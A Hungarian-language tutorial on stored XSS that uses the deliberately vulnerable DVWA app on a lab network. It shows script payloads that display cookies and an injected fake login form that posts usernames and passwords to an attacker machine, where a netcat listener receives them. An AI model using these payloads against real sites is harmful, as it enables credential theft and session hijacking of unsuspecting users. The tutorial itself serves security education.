loader
Foto

XSS sérülékenységek alapjai (kliens oldali támadás)

Az OWASP módszertan egyik vizsgálati pontja az, ahol azt kell meghatározni, hogy a vizsgált webes alkalmazásban el lehet-e helyezni olyan script-et, amelynek segítségével a kliensoldal támadható. Azaz, nem a webkiszolgáló kerül ennél a tesztelési eljárásnál fókuszba, hanem a böngésző felhasználó. Az XSS sérülékenységnél a felhasználó (azaz a böngésző) érzékeny adatai szerezhetők meg, illetve módosítható az adott webes alkalmazás "kinézete" is.

Felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy a saját fejlesztésű webes alkalmazások biztonságosabbak legyenek. Nem célunk, és határozottan elzárkózunk attól, hogy segítsünk bárkinek számítógépes bűncselekmények elkövetésében.

Az XSS tármadásnak (a támadó valamilyen kódot fecskendez egy weboldal tartalmába. Amikor ezt az oldalt valaki megnyitja, akkor ez a befecskendezett script lefut az áldozat böngészőjében) három változata létezik, amelyek a következők:

  • Reflected XSS (a támadó egy URL-ben hajt végre támadást, a script az URL-nél kerül hozzáadásra)
  • Stored XSS (a támadó a scriptet eltárolja a kiszemelt webes alkalmazásban, amelyet majd az áldozat megnyit a böngészőjében)
  • DOM XSS

 

Indítsuk el a DVWA alkalmazásunkat, és válasszuk ki a "Stored Cross Site Scripting"-et, amely a következő URL-en helyezkedik el a teszthálózatunkban:

http://192.168.56.102/DVWA-master/vulnerabilities/xss_s/

 

A Stored XSS-nél a cél az, hogy a támadó script-et eltároljuk a kiszemelt honlapon. Erre ideális egy vendégkönyv, egy komment, stb.
A DVWA alkalmazásnál is ezt a támadási formát egy vendégkönyvi bejegyzéssel aknázhatjuk ki (1. ábra). Írjunk be egy nevet, illetve a támadó scriptünket. A legegyszerűbb ilyen egy ablak megjelenítése, ezért szokás az alert('valami')-t alkalmazni.

kep
1. ábra   A "<script>alert('WebElektronika')</script>" eltárolása a DVWA honlapon
 

Miután ezt a scriptet elmentettük, ismét jelenítsük meg ezt a menüpontot, és már láthatjuk is, hogy ez az oldal XSS sérülékeny, hiszen megjelent egy ablak, benne a tesztszövegünkkel (2. ábra). Látható tehát az, hogy az "alert('WebElektronika')" kód lefut.

kep
2. ábra   Sikeres az eltárolt script futása
 

Most, hogy már tudjuk azt, hogy a kiszemelt webes alkalmazás XSS-re sérülékeny, már nem az a célunk, hogy egy tesztszöveget jelenítsünk meg, hanem valamilyen érzékeny adatot. Ilyen lehet a kliens oldalon lévő cookie értéke.
Ehhez a következő scriptet kell eltárolni a kiszemelt webes alkalmazás adatbázisában:

<script>alert(document.cookie)</script>

 

Ezt láthatjuk a 3. ábrán.

kep
3. ábra   A cookie megjelenítéséhez szükséges script eltárolása a webes alkalmazásban
 

Ha most megnyitjuk újra ezt a tesztoldalt, akkor már a böngészőben használt cookie-t kapjuk meg a felbukkanó ablakban (4. ábra).

kep
4. ábra   A cookie megjelenítése a felbukkanó ablakban
 

Természetesen ez az ablak bármelyik számítógép böngészőjében felbukkan, ahol megnyitják ezt a fertőzött tesztoldalt. Vegyük azonban azt észre, hogy ez az ablak a kliensoldalon jelenik meg, azaz, nem a támadó látja ezeket az adatokat, hanem a kliensoldalon lévő böngésző felhasználó.

Ezért készítsünk most egy olyan (kártékony) kódot, amelynek segítségével módosítjuk a honlap kinézetét, mert elhelyezünk egy bejelentkezési felületet. Itt elkérjük a (figyelmetlen) felhasználó érzékeny adatait, amelyet majd a támadó gépén jelenítünk meg.

Gépeljük be a DVWA tesztalkalmazásban a következő  kódot:

<form action=http://192.168.0.17>
  Felhasznalo:<br>
  <input type="username" name="username"></br>
  Jelszo:<br>
  <input type="password" name="password"></br>
  <br><input type="submit" value="Belepes"></br>
</form>

 

A kliensoldali böngésző a "192.168.0.102" IP címen található, a támadó gépe pedig a "192.168.0.17" IP címen van. Amikor valaki megadja az érzékeny adatait ezen a belépési formon, és rákattint a "Belepes" nyomógombra, akkor kapcsolat jön létre a támadó gépével. Mentsük el ezt a kódot a DVWA vendégkönyvébe (5. ábra). 

kep
5. ábra   A belépési formot megvalósító kód eltárolása a DVWA alkalmazásban
 

Ha frissítjük a DVWA tesztalkalmazás oldalát, akkor már láthatjuk a bejelentkezési felületet, ahol megadhatjuk a felhasználó nevét és a jelszavát (6. ábra).

kep
6. ábra   Bejelentkezési felület a tesztalkalmazáson
 

Írjunk be ide egy felhasználónevet és egy jelszót. Ahhoz, hogy ezeket az adatokat meg tudjuk jeleníteni a támadó gépén, írjuk be a Parrot OS terminálablakába (7. ábra) a következő parancsot (a Parrot OS-nél használnunk kell ekkor a "sudo"-t):

sudo nc -lvp 80

 

kep
7. ábra   Hallgatózás a 80-as porton
 

Írjuk be az érzékeny adatainkat a böngészőben (8. ábra).

kep
8. ábra   Érzékeny adatok megadása a kliensoldalon, a DVWA tesztalkalmazásban
 

Ha rákattintunk a "Belépés" nyomógombra, akkor a támadó gépén, a terminálablakban megkapjuk ezeket az adatokat (9. ábra).

kep
9. ábra   A kliensoldalon begépelt érzékeny adatok megjelennek a támadó gépén
 

Még egyszer felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy rámutassunk az XSS sérülékenység veszélyére, és az ellene való védekezés fontosságára. Határozottan elhatárolódunk bármilyen bűncselekmény elkövetésének a segítésében.

Az információs rendszer vagy adat megsértése bűncselekmény (423. §).

 



Egyéb cikkek

További cikkeink ebben a témakörben

Régebbi cikkeink

Elkezdünk egy sorozatot, amelyhez a Kali Linux használata elengedhetetlen lesz, de természetesen folytatjuk a C# nyelv aszinkron használatának a bemutatását is. Az IT biztonság (amely elég széles területet foglal magába) egyik elengedhetetlen eszköze. . . .

Az nmap (grafikus megjelenítésnél a ZenMap) használata az IT biztonság, illetve az üzemeltetés területén dolgozó szakembereknél szinte elkerülhetetlen. Az ingyenes szoftver segítségével tesztelhetők a számítógépeink, a számítógéphálózatunk, vizsgálha. . . .

A saját informatikai rendszerünk tesztelésénél előfordulhat, hogy meg kell változtatni a MAC címünket. Hogyan tehetjük ezt meg a Kali Linux segítségével? Megnézzük most ezt ebben a cikkben.. . . .